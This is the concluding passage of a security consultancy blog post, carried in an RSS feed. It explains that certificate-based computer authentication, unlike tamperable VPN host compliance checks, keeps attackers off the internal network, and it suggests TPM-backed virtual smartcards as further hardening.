<p style="text-align: left;">In this case, even if the attacker can tamper with the compliance checks performed, <strong>he will not be able to pass the computer authentication validation</strong> and won&#8217;t be able to access to the internal network. <br />However, these solutions can still be bypassed with computer certificate extraction or vulnerability related to 802.1X authentication, but these attacks need Administrators privileges on the computer and/or a physical access to the machine: if an attacker already has Administrators rights or physical access to one of your Domain Workstation, there are way more serious troubles ahead. Additional protections can also be set in place to further harden the access to the certificate, such as <strong>storing them on a Virtual Smartcard hosted on the TPM chip</strong>.</p>
<p style="text-align: left;">In a nutshell, if the compliance checks have been set up to avoid users connecting personal devices with a degraded level of security to the VPN, it can do the job.</p>
<p style="text-align: left;">However, if they have been set up as a network access control mechanism to avoid attackers with valid credentials and host configuration to access to the internal network using their attack machine, they are not sufficient.</p>
<p style="text-align: left;"> </p>
<p style="text-align: right;"><strong>Yoann DEQUEKER</strong><br />Senior Auditor</p>
<p style="text-align: left;"> </p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/01/bypassing-host-security-checks-on-a-modern-vpn-solution/">Bypassing host security checks on a modern VPN solution</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2023/01/bypassing-host-security-checks-on-a-modern-vpn-solution/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
